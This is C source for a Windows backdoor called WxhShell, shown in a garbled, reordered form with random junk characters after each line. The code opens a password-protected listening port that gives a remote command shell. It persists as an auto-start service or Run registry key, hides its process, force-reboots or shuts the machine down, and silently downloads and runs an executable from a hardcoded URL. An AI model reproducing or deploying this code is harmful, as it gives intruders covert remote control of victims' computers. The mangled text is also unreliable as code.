    if(Boot(SHUTDOWN)) )ADI[+KW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _MIheCvV  
    else { :'<;]~f  
    closesocket(wsh); :PN%'~}n  
    ExitThread(0); Q~wS2f`)  
    } J`[jub  
    break; wI 7gHp  
    } yZp/P%y  
  // 获取shell |gxPuAXa)  
  case 's': { tF/Ni*\^rV  
    CmdShell(wsh); #=y)Wuo=  
    closesocket(wsh); ESoC7d&.K{  
    ExitThread(0); tx<^PV2  
    break; hVB(*WA^D  
  } ,Il) tH  
  // 退出 ^}vf  
  case 'x': { LD?\gK "  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AHuIA{AdUR  
    CloseIt(wsh); [+b8 !'|&  
    break; #0h}{y E  
    } a)r["*bTx  
  // 离开 A*+gWn,4Y_  
  case 'q': { }8}`A\ dgV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J^#g?RHN>m  
    closesocket(wsh); \DE, ,  
    WSACleanup(); C"5P7F{  
    exit(1); fHZ9wK>  
    break; i qxMTH#!  
        } 1|G\&T   
  } nJv=kk1|o  
  } Y[PC<-fyf  
aLW3Ub{h  
  // 提示信息 Sw>>]UjU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rt*>)GI]b  
} ipGxi[Vav  
  } ( ?(gz#-  
+U ziO#D  
  return; _0^>^he  
} `q^qe>'  
-"H$ &p~  
// shell模块句柄 k&5T-\q  
int CmdShell(SOCKET sock) )n9,?F#l  
{ K^"l.V#J  
STARTUPINFO si; ( 6zu*H)  
ZeroMemory(&si,sizeof(si)); kFkI[WKyZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W58?t6! =  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {y5 L  
PROCESS_INFORMATION ProcessInfo; eF7I 5k4  
char cmdline[]="cmd"; wS,fj gX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [8Z#HjhQ  
  return 0; ;m.6 ~A  
} eTgtt-;VR  
MK Sw  
// 自身启动模式 lq3D!+ m  
int StartFromService(void) )AcevEHB  
{ WB'1_a  
typedef struct {=d}04i)E"  
{ 2auJp .  
  DWORD ExitStatus; lZIJ[.  
  DWORD PebBaseAddress; jzpDKc%  
  DWORD AffinityMask; J_yXL7d  
  DWORD BasePriority; `w4'DB-R)  
  ULONG UniqueProcessId; U8>4ClJ4  
  ULONG InheritedFromUniqueProcessId; K9}Brhe  
}   PROCESS_BASIC_INFORMATION; vAop#V  
6Xo"?f  
PROCNTQSIP NtQueryInformationProcess; 1K|F;p  
x{ `{j'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3]}RjOTU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M?('VOy)  
.C+(E@eyA  
  HANDLE             hProcess; :}#)ipr  
  PROCESS_BASIC_INFORMATION pbi; 4DL2 A;T  
/|&4&$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >tMI%r  
  if(NULL == hInst ) return 0; <9xr? i=  
{!? M!/d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F3o"ETle  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~9k E.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^  ~1QA  
s%vy^x29  
  if (!NtQueryInformationProcess) return 0; qW4\t  
"D4% A!i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (s|WmSQ  
  if(!hProcess) return 0; oy[ px9Wx  
(w"(RM~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WQ:Y NmQ1p  
GZx*A S]+  
  CloseHandle(hProcess); :YkAp9civ  
{=&( { cS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uxKO"  
if(hProcess==NULL) return 0; Z'5&N5hx  
tZg)VJQys  
HMODULE hMod; vy={ziJ  
char procName[255]; "u$XEA  
unsigned long cbNeeded; /D|q-`*K  
x}WP1YyT~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;[P>  
5f0g7w =-  
  CloseHandle(hProcess); #M#$2Vt  
x)$0Nr62D  
if(strstr(procName,"services")) return 1; // 以服务启动 :p)^+AF"5  
M5:*aCN6P  
  return 0; // 注册表启动 jVoD9H F/  
} iY,oaC~?"N  
\C>vj+!cJ  
// 主模块 j}tGcFwvSN  
int StartWxhshell(LPSTR lpCmdLine) ^ )!eiM  
{ '+iLW~   
  SOCKET wsl; (IjM  
BOOL val=TRUE; f2Xn!]o  
  int port=0; ~@@$-,}X   
  struct sockaddr_in door; @6R6.i5d  
^PJN$BJx  
  if(wscfg.ws_autoins) Install(); <|G!Qn?2-  
{w"Cr0F,  
port=atoi(lpCmdLine); }$uwAevP{y  
`0_ Y| 4KB  
if(port<=0) port=wscfg.ws_port; G[_Z|Xi1  
OfA+|xT&  
  WSADATA data; VhMVoW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; br k*;  
~d\V>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1BEc"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C+`V?rp=s  
  door.sin_family = AF_INET; H{9P=l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g6.I~o Q j  
  door.sin_port = htons(port); ;:R2 P@6f  
CZ$B2i6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /yx)_x{  
closesocket(wsl); :mLXB75gH  
return 1; ywyg(8>zE  
} # SJJ@SM  
_"t>72 `  
  if(listen(wsl,2) == INVALID_SOCKET) { b"trg {e  
closesocket(wsl); &{qKoI]  
return 1; >RJ&b  
} EDnZ/)6Gg  
  Wxhshell(wsl); F)imeu  
  WSACleanup(); SGy2&{\Z  
H~Uy/22aQy  
return 0; (LXYx<  
fshG ~L7S9  
} y[AB,Dd  
uD{ xs  
// 以NT服务方式启动 s0x/2z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =h ~n5wQG  
{ v&]y zl  
DWORD   status = 0; ~>0H k}Hv  
  DWORD   specificError = 0xfffffff; i tk/1  
?0JNaf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w"QZ7EyJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4qsxlN>4O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0u( 0*Xl  
  serviceStatus.dwWin32ExitCode     = 0; *0V'rH)  
  serviceStatus.dwServiceSpecificExitCode = 0; Y2dml!QM  
  serviceStatus.dwCheckPoint       = 0;  <|82)hO  
  serviceStatus.dwWaitHint       = 0; ,jw`9a  
*O[/- p&7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zvfy%k   
  if (hServiceStatusHandle==0) return; O%F*i2I:+k  
ouFKqRs;  
status = GetLastError(); <1* \ ~CX  
  if (status!=NO_ERROR) R4k+.hR  
{ [)0^*A2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2@ZRz%(Oa&  
    serviceStatus.dwCheckPoint       = 0; 4Xt`L"f  
    serviceStatus.dwWaitHint       = 0; /PR 4ILed  
    serviceStatus.dwWin32ExitCode     = status; oj'YDQ^uj  
    serviceStatus.dwServiceSpecificExitCode = specificError; O?A%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^si[L52BZ  
    return; ^~bd AO81  
  } A+4Kj~`!  
"f~OC<GdYs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s6_i>  
  serviceStatus.dwCheckPoint       = 0; z> DQ  
  serviceStatus.dwWaitHint       = 0; iAXGf V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lHTr7uF(  
} oZl%0Uy?9I  
15aPoxo>  
// 处理NT服务事件,比如:启动、停止 7kT X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BTG_c_ ?]e  
{ Hfo<EB2Y9N  
switch(fdwControl) `f~$h?}3-@  
{ mDD96y  
case SERVICE_CONTROL_STOP: YH^@8   
  serviceStatus.dwWin32ExitCode = 0; EQ :>]O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Xw S?*O  
  serviceStatus.dwCheckPoint   = 0; xpwy%uo  
  serviceStatus.dwWaitHint     = 0; E m+&I  
  { Rxlv:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  +`ov1h  
  } SK 5]7C2  
  return; v?Cakwu  
case SERVICE_CONTROL_PAUSE: b+hN\/*]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w&J_c8S  
  break; 8ZCA vEy  
case SERVICE_CONTROL_CONTINUE: ]gaeN2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )vVf- zU  
  break; WQD:~*C:  
case SERVICE_CONTROL_INTERROGATE: 6uUn  
  break; fM*?i"j;Y  
}; G8/q&6f_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\#s_N 7  
} cN&:V2,  
C|3cQ{  
// 标准应用程序主函数 -:J<JX)o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 72*j6#zS  
{ KMQPA>w#  
eL}X().  
// 获取操作系统版本 `P*BW,P'T  
OsIsNt=GetOsVer(); BS?$eai@:9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bz~aj}"`  
[/ertB  
  // 从命令行安装 2cRru]VZ5  
  if(strpbrk(lpCmdLine,"iI")) Install(); v '^}zO  
Sl<1Rme=w  
  // 下载执行文件 AP1ZIc6  
if(wscfg.ws_downexe) { Z'}%Mkm`i}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ozl!vf# kv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;vX1U8  
}  M}@>h  
|k%1mE(+=s  
if(!OsIsNt) { 5 ddfdIp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ld/6{w4ir  
HideProc(); imAOYEH7}  
StartWxhshell(lpCmdLine); Ck"db30.  
} u&UmI-}  
else >lzXyT6x8  
  if(StartFromService()) 3?L[ohKH?:  
  // 以服务方式启动 _Rk vg-  
  StartServiceCtrlDispatcher(DispatchTable); dn Sb}J  
else f\.y z[  
  // 普通方式启动 ]+B.=mO_  
  StartWxhshell(lpCmdLine); ^W@%(,xb  
(~E-=+R[$&  
return 0; z5Tsu1 c  
} t+]1D@hv  
aIrM-c8.O  
b0f6p>~q^  
C8|#  
=========================================== {~s\a2YH  
I;eoy,  
eO*s,*  
;$gV$KB:xA  
|_-w{2K  
o90g;Vog  
" Fa v++z  
M5t.l (  
#include <stdio.h> S $o1Q  
#include <string.h> B'`25u_e<  
#include <windows.h> EN":}!E:  
#include <winsock2.h> g;nLR<]  
#include <winsvc.h> y;<suGl  
#include <urlmon.h> #<Xq\yC51  
[m 6+I9  
#pragma comment (lib, "Ws2_32.lib") fqq4Qc)#U&  
#pragma comment (lib, "urlmon.lib") m.! M#x2!  
Di4GaKa/  
#define MAX_USER   100 // 最大客户端连接数 >w,jaQ  
#define BUF_SOCK   200 // sock buffer M+HhTW;I=  
#define KEY_BUFF   255 // 输入 buffer X  u HR  
Wi>m}^}9  
#define REBOOT     0   // 重启 %N`_g' r!  
#define SHUTDOWN   1   // 关机 6akI5\b  
$?]`2*i  
#define DEF_PORT   5000 // 监听端口 SBs!52  
S_OtY]gF  
#define REG_LEN     16   // 注册表键长度 M6^ \LtFt  
#define SVC_LEN     80   // NT服务名长度 cL;%2TMk  
HX}B#T  
// 从dll定义API /93z3o7D>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A*81}P_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @o^$/AE?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n]D io  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P3Lsfi.  
CV\y60n  
// wxhshell配置信息 vTK8t:JQ~  
struct WSCFG { vf+z0df  
  int ws_port;         // 监听端口 Hs:zfvD  
  char ws_passstr[REG_LEN]; // 口令 [[6" qq  
  int ws_autoins;       // 安装标记, 1=yes 0=no \)wch P_0  
  char ws_regname[REG_LEN]; // 注册表键名 vq+CW?*"  
  char ws_svcname[REG_LEN]; // 服务名 o9]32l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rBi<Yy$z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bM:4i1Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x;E/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0R[fH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XBkaum4j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S<cz2FlV  
0j6b5<Gpc*  
}; L%Rw]=v}v  
eB1NM<V  
// default Wxhshell configuration D M+MBK  
struct WSCFG wscfg={DEF_PORT, \=im{(0h  
    "xuhuanlingzhe", 8AY;WL:;  
    1, ZeU){CB  
    "Wxhshell", \/;c^!(<  
    "Wxhshell", J@E]Fl  
            "WxhShell Service", >3KlI  
    "Wrsky Windows CmdShell Service", fHEIys,{  
    "Please Input Your Password: ", lX"m |W  
  1, 2y!aXk\#C  
  "http://www.wrsky.com/wxhshell.exe", ^v cnDi  
  "Wxhshell.exe" GA[D@Wy  
    }; h-;> v.  
<jF&+[*iT  
// 消息定义模块 S Z/yijf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bPP@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ipp`99  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X{, mj"(w  
char *msg_ws_ext="\n\rExit."; ex1!7A!}g  
char *msg_ws_end="\n\rQuit."; ly0L)L]\  
char *msg_ws_boot="\n\rReboot..."; &oB*gGRw=7  
char *msg_ws_poff="\n\rShutdown..."; xR&:]M[Vg  
char *msg_ws_down="\n\rSave to "; A46q`l9B  
f:&JKB)N  
char *msg_ws_err="\n\rErr!"; ) xa )$u  
char *msg_ws_ok="\n\rOK!"; 24? _k]Y  
FZ+2{wIV^  
char ExeFile[MAX_PATH]; R8u8jG(4  
int nUser = 0;  aY(s &  
HANDLE handles[MAX_USER]; DT>`.y%2W  
int OsIsNt; SM RKEPwp&  
)D6 i {I0  
SERVICE_STATUS       serviceStatus; V*Fy@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5YNAb/! !F  
"N=$ =Dy >  
// 函数声明 QK0]9   
int Install(void); R=E4Sh  
int Uninstall(void); /*Q3=Dse]  
int DownloadFile(char *sURL, SOCKET wsh); X=)L$Kd7  
int Boot(int flag); *<:X3|3E  
void HideProc(void); (_@5V_U  
int GetOsVer(void); kwT)j(pp<  
int Wxhshell(SOCKET wsl); m[2[9 bQ0  
void TalkWithClient(void *cs); *~U.36  
int CmdShell(SOCKET sock); n/Fxjf0W  
int StartFromService(void); )z@ +|A  
int StartWxhshell(LPSTR lpCmdLine); uKM` umE  
{S9gOg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3?"gfw W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iBbaHU*V  
:'C?uk ?  
// 数据结构和表定义 %po;ih$jr*  
SERVICE_TABLE_ENTRY DispatchTable[] = ^ [HUtq  
{ OF']-  
{wscfg.ws_svcname, NTServiceMain}, "i/GzD7`n  
{NULL, NULL} hDW_a y4  
}; $#s5y~z  
sGtxqnX:J  
// 自我安装 BV>9U5  
int Install(void) /]Y#*r8jRi  
{ v@[3R7|4  
  char svExeFile[MAX_PATH]; i*mU<:t  
  HKEY key; _[-MyUs  
  strcpy(svExeFile,ExeFile); ),B/NZ/-  
hOZTD0  
// 如果是win9x系统,修改注册表设为自启动 Ezew@*(  
if(!OsIsNt) { >"<s7$g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w/( T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nh^I{%.x  
  RegCloseKey(key); !9$}1_,is  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { db_?da;!`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R0*P,~L;|  
  RegCloseKey(key); {-me;ayk  
  return 0; @^YXE,  
    } cRr3!<EZ  
  } ;r"r1'a+@  
} b' M"To@  
else { lrKT?siB  
;0oL*d[1Z  
// 如果是NT以上系统,安装为系统服务 JB'tc!!*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ji!i}UjD7!  
if (schSCManager!=0) 'h6G"=+  
{ O^-QqCZE  
  SC_HANDLE schService = CreateService gTTKjlI [  
  ( :'ZR!w  
  schSCManager, 3-:^mRPJ  
  wscfg.ws_svcname, t/O^7)%  
  wscfg.ws_svcdisp, ?;P6#ByR  
  SERVICE_ALL_ACCESS, We}9'X}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T>| hID  
  SERVICE_AUTO_START, PP'5ANK  
  SERVICE_ERROR_NORMAL, M=;csazN  
  svExeFile, G5t7KI  
  NULL, %_Lz0L64k  
  NULL, dS 4/spNq  
  NULL, FN!?o:|(  
  NULL, *lLCH,  
  NULL s-WZ3g  
  ); PZV>A!7C8n  
  if (schService!=0) <HRPloVKo  
  { ,{q#U3  
  CloseServiceHandle(schService); 0.R3(O  
  CloseServiceHandle(schSCManager); &XCd2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jf7H;ZM<  
  strcat(svExeFile,wscfg.ws_svcname); U ^O4HJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Q@n a @s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wn_ >Vi1  
  RegCloseKey(key); fuA] y4A  
  return 0; 9x4z m  
    } ivl %%nY'  
  } !*&5O~dfN  
  CloseServiceHandle(schSCManager); w ]T_%mdk  
} _)Txg2?=  
} <$A/ ('  
<eSg%6z  
return 1; =*ErN  
} h~ _i::vg  
!+@70|gFF  
// 自我卸载 ?F[_5ls|]  
int Uninstall(void) ;rL1[qwk  
{ D Q={  
  HKEY key; pwHe&7e#  
wo(O+L/w  
if(!OsIsNt) { dgX%NKv1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x{w|Hy  
  RegDeleteValue(key,wscfg.ws_regname); ) aMiT  
  RegCloseKey(key); Fng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -;"A\2_y  
  RegDeleteValue(key,wscfg.ws_regname); N@<-R<s^  
  RegCloseKey(key); ;2g.X(Ra  
  return 0; sXPva@8_  
  } 3A"TpR4f`  
} [Nm?qY  
} 4x+[?fw  
else { Q/Z>w+zh#  
Zi}h\R a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &${| o@  
if (schSCManager!=0) o?M;f\Fy  
{ TeZu*c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y}.f&rLe  
  if (schService!=0) 4j'rbbs/  
  { AdDR<IW  
  if(DeleteService(schService)!=0) { 5 8;OTDR!  
  CloseServiceHandle(schService); [N4N7yF  
  CloseServiceHandle(schSCManager); 8o,0='U  
  return 0; h0~<(3zC  
  } rf+}J_  
  CloseServiceHandle(schService); S\I+UeFkf  
  } mhU=^/X  
  CloseServiceHandle(schSCManager); [N[4\W!!  
} p_n$}z  
} #>~A-k)  
PW"?* ~&  
return 1; ?@MY+r_G  
} ZK2&l8  
Fpn'0&~-fi  
// 从指定url下载文件 J]S6%omp>  
int DownloadFile(char *sURL, SOCKET wsh) oLlfqV,|L\  
{ ]1GyEr:  
  HRESULT hr; 9$[MM*r  
char seps[]= "/"; xo ^|d3  
char *token; d,meKQ n  
char *file; :D2GLq*\  
char myURL[MAX_PATH]; !]mo.zDSW5  
char myFILE[MAX_PATH]; Q9p2.!/C1  
kMEXgzl  
strcpy(myURL,sURL); 3ErV" R4"$  
  token=strtok(myURL,seps); N@'l: N'f4  
  while(token!=NULL) ' MyJw*%b]  
  { Ya<KMBi3  
    file=token; q]!FFi{w;  
  token=strtok(NULL,seps); &DtI+ )[|  
  } 6y`FW[  
:TnU}i_/h  
GetCurrentDirectory(MAX_PATH,myFILE); zC[LcC*+J  
strcat(myFILE, "\\"); P$ b5o  
strcat(myFILE, file); fyx Q{J  
  send(wsh,myFILE,strlen(myFILE),0); NX;{L#lQ  
send(wsh,"...",3,0); u0[O /G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j[$+DCO#|m  
  if(hr==S_OK) b=WkRj  
return 0; kwS[,Qy\  
else [CV0sYEA  
return 1; |D'!.$7%  
F$:mGyl5_  
} Q3t%JP>;g  
=q"0GUei3  
// 系统电源模块 T{#=A$vu  
int Boot(int flag) /@&uaw  
{ =3V4HQi  
  HANDLE hToken; wt_ae|hv  
  TOKEN_PRIVILEGES tkp; FO]f 4@  
.OW5R*  
  if(OsIsNt) { %.uN|o&n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mj19;nc0I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #:MoZw`rlw  
    tkp.PrivilegeCount = 1; !HXsxNe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iz tF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |VM=:}s&  
if(flag==REBOOT) { `q\v~FT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lY |]  
  return 0; lL'K1%{+ \  
} FklO#+<:  
else { h{)`W ]~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]@}@G[e#[  
  return 0; 7d_"4;K)  
} %a-fxV[  
  } r"5\\qf5*  
  else { RC/& dB  
if(flag==REBOOT) { +fMW B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jx4~o{Z}c  
  return 0; yW"}%) d  
} _B}QS"A  
else { oJ=u pnBn-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) diw5h};W  
  return 0;  GL&rT&  
} p1ER<_fp  
} o3OJI_ v &  
"KY]2v.  
return 1; w;Pe_m7\EO  
} `-rtU  
H[r64~Sth  
// win9x进程隐藏模块 $T2zs$  
void HideProc(void) I =K<%.  
{ MY&?*pV)  
V5I xZn%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iW? NxP  
  if ( hKernel != NULL ) JQ\o[t  
  { 2 t]=-@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \5) ZI'q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xz/G$7q7  
    FreeLibrary(hKernel); mj2sbRiSR=  
  }  ck`$ `  
q1%xk =8  
return; Sa6YqOel@  
} "9H#pj -  
JCITIjD7=  
// 获取操作系统版本 CT{ X$N  
int GetOsVer(void) /Dk`?  
{ LkXF~  
  OSVERSIONINFO winfo; ??P> HVx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +$G P(Uu,  
  GetVersionEx(&winfo); %vrUk;<35  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) maQOU1  
  return 1; "&kXAwe  
  else t\<*Q3rl-  
  return 0; o6:p2W  
} `+WQ^dP@  
'KNUPi|  
// 客户端句柄模块 ?vP }#N!=d  
int Wxhshell(SOCKET wsl) e(-Vp7vXG  
{ 4f,%@s)zn  
  SOCKET wsh; }e,*'mCC*  
  struct sockaddr_in client; 9kU|?JE  
  DWORD myID; js=w!q0)9  
ns8I_H  
  while(nUser<MAX_USER) rAQ3x0  
{ *wz62p  
  int nSize=sizeof(client); #!M;4~Sfx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HG})V PBa  
  if(wsh==INVALID_SOCKET) return 1; 9'\*Ip^  
SL%lY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I[v~nY~l`  
if(handles[nUser]==0) 2` h  
  closesocket(wsh); %XWb|-=  
else EF'U`\gX  
  nUser++; ]P(_ d'}  
  } lem\P_V)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y8O<_VOO}"  
("@ih]zYf  
  return 0; N6S}u@{J~N  
}  0GiL(e|  
km!jxs  
// 关闭 socket |Ns[{/  
void CloseIt(SOCKET wsh) EWoGdH|  
{ ,7|2K&C5  
closesocket(wsh); z4c{W~}`  
nUser--; kA<58 ,!  
ExitThread(0); cH\.-5NQ  
} h{M.+I$}C  
2UjQ!g`  
// 客户端请求句柄 XhJbBVS|  
void TalkWithClient(void *cs) ^0&   
{ WJ$!W  
c27A)`   
  SOCKET wsh=(SOCKET)cs; rQPV@J]:  
  char pwd[SVC_LEN]; C)`y<O  
  char cmd[KEY_BUFF]; *b]$lj  
char chr[1]; Ucz`^}+  
int i,j; `G^MTDp?L+  
*J] }bX  
  while (nUser < MAX_USER) { -XtDGNH F  
2_lb +@[W  
if(wscfg.ws_passstr) { VKp4FiI6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u >o2lvy8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kr'5iFK7  
  //ZeroMemory(pwd,KEY_BUFF); z>X<Di&x)  
      i=0; v9s /!<j  
  while(i<SVC_LEN) { %JC-%TRWK  
juQQ  
  // 设置超时 V8.o}BWY  
  fd_set FdRead; H$i4OQ2  
  struct timeval TimeOut; "]C$"JR  
  FD_ZERO(&FdRead); UFy"hJchO  
  FD_SET(wsh,&FdRead); {  'Db  
  TimeOut.tv_sec=8; u*J,3o} <  
  TimeOut.tv_usec=0; 4=E9$.3a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wp<4F 6C$@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .A`Q!  
4 u!)QG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4<`'?  
  pwd=chr[0]; 9,`eYAu  
  if(chr[0]==0xd || chr[0]==0xa) { Eh&et0&=g  
  pwd=0; ?|t9@r  
  break; .Bu?=+O~  
  } !!4` #Z0+#  
  i++; b xT|  
    }  k_;+z  
~;A36M-[.  
  // 如果是非法用户,关闭 socket ?UlAwxn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [80L|?, *  
} ,dM}B-  
O%.c%)4Xo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @3hA\3ot^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nmn 8Y V1  
s6|Ev IVM  
while(1) { wua`e <"  
8MH ZWi  
  ZeroMemory(cmd,KEY_BUFF); (c<MyuWb  
u"*@k^}(  
      // 自动支持客户端 telnet标准   mBC?Pg  
  j=0; 4#oLf1  
  while(j<KEY_BUFF) { ;-:Nw6 E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -c"nx$  
  cmd[j]=chr[0]; D)ZGTq`(  
  if(chr[0]==0xa || chr[0]==0xd) { f?OFMac  
  cmd[j]=0; Vu3;U  
  break; ]\y:AkxhJ  
  } 9#CE m &c  
  j++; }6;v`1Hr  
    } gi|j ! m  
J_]B,' 6  
  // 下载文件 )zzK\I6/EQ  
  if(strstr(cmd,"http://")) { ' w^Md  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gf(|?" H  
  if(DownloadFile(cmd,wsh)) K/+Y9JP9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,U\F <$O  
  else dvWQ?1l_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6PF7Wl7.  
  } &&/2oP+z  
  else { sOegR5?;  
2E Ufd\   
    switch(cmd[0]) { 95 7Cr  
  +9MoKn=h  
